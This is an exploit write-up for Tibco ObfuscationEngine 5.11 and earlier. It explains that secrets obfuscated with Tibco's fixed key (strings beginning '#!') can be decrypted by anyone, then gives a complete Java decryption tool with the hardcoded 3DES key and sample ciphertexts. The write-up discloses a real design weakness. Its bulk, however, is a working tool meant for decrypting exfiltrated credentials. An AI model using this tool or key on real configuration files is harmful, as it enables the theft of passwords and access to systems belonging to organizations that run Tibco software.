# Exploit Title: Tibco ObfuscationEngine 5.11 - Fixed Key Password Decryption # Date: December 8th 2020 # Exploit Author: Tess Sluijter # Vendor Homepage: https://www.tibco.com # Version: 5.11x and before # Tested on: MacOS, Linux, Windows # Tibco password decryption exploit ## Background Tibco's documentation states that there are three modes of operation for this ObfuscationEngine tooling: 1. Using a custom key. 2. Using a machine key. 3. Using a fixed key. https://docs.tibco.com/pub/runtime_agent/5.11.1/doc/pdf/TIB_TRA_5.11.1_installation.pdf?id=2 This write-up pertains to #3 above. Secrets obfuscated using the Tibco fixed key can be recognized by the fact that they start with the characters #!. For example: "#!oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA". ## Issues On Tibco's forums, but also on other websites, people have already shared Java code to decrypt secrets encrypted with this fixed key. For example: * https://support.tibco.com/s/article/Tibco-KnowledgeArticle-Article-30338 * https://community.tibco.com/questions/password-encryptiondecryption * https://community.tibco.com/questions/deobfuscatedecrypt-namevaluepairpassword-gv-file * https://community.tibco.com/questions/bw6-password-decrypt * http://tibcoworldin.blogspot.com/2012/08/decrypting-password-data-type-global.html * http://tibcoshell.blogspot.com/2016/07/how-to-decrypt-encryptedmasked-password.html ## Impact Regardless of country, customer, network or version of Tibco, any secret that was obfuscated with Tibco's ObfuscationEngine can be decrypted using my Java tool. It does **not** require access to Tibco software or libraries. All you need are exfiltrated secret strings that start with the characters #!. This is not going to be fixed by Tibco, this is a design decision also used for backwards compatibility in their software. ## Instructions Compile with: javac decrypt.java Examples of running, with secrets retrieved from websites and forums: java Decrypt oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA 7474 java Decrypt BFBiFqp/qhvyxrTdjGtf/9qxlPCouNSP tibco /* comments! Compile with: javac decrypt.java Run as: java Decrypt oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA 7474 java Decrypt BFBiFqp/qhvyxrTdjGtf/9qxlPCouNSP tibco */ import java.io.ByteArrayInputStream; import java.util.Arrays; import java.util.Base64; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.IvParameterSpec; import javax.crypto.CipherInputStream; import javax.crypto.CipherOutputStream; class Decrypt { public static void main (String [] arguments) { try { byte[] keyBytes = { 28, -89, -101, -111, 91, -113, 26, -70, 98, -80, -23, -53, -118, 93, -83, -17, 28, -89, -101, -111, 91, -113, 26, -70 }; String algo = "DESede/CBC/PKCS5Padding"; String encryptedText = arguments[0]; byte[] message = Base64.getDecoder().decode(encryptedText); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(message); Cipher decipher = Cipher.getInstance(algo); int i = decipher.getBlockSize(); byte[] ivSetup = new byte[i]; byteArrayInputStream.read(ivSetup); SecretKey key = new SecretKeySpec(keyBytes, 0, keyBytes.length, "DESede"); decipher.init(2, key, new IvParameterSpec(ivSetup)); // Magic, I admit I don't understand why this is needed. CipherInputStream cipherInputStream = new CipherInputStream(byteArrayInputStream, decipher); char[] plaintext; char[] arrayOfChar1 = new char[(message.length - i) / 2]; byte[] arrayOfByte4 = new byte[2]; byte b = 0; while (2 == cipherInputStream.read(arrayOfByte4, 0, 2)) { arrayOfChar1[b++] = (char)((char)arrayOfByte4[1] << '\b' | (char)arrayOfByte4[0]); } cipherInputStream.close(); if (b == arrayOfChar1.length) { plaintext = arrayOfChar1; } else { char[] arrayOfChar = new char[b]; System.arraycopy(arrayOfChar1, 0, arrayOfChar, 0, b); for (b = 0; b < arrayOfChar1.length; b++) { arrayOfChar1[b] = Character.MIN_VALUE; } plaintext = arrayOfChar; // End of Magic } System.out.println(plaintext); } catch (Exception ex) { System.out.println("Barf..."); System.out.println(ex); } } }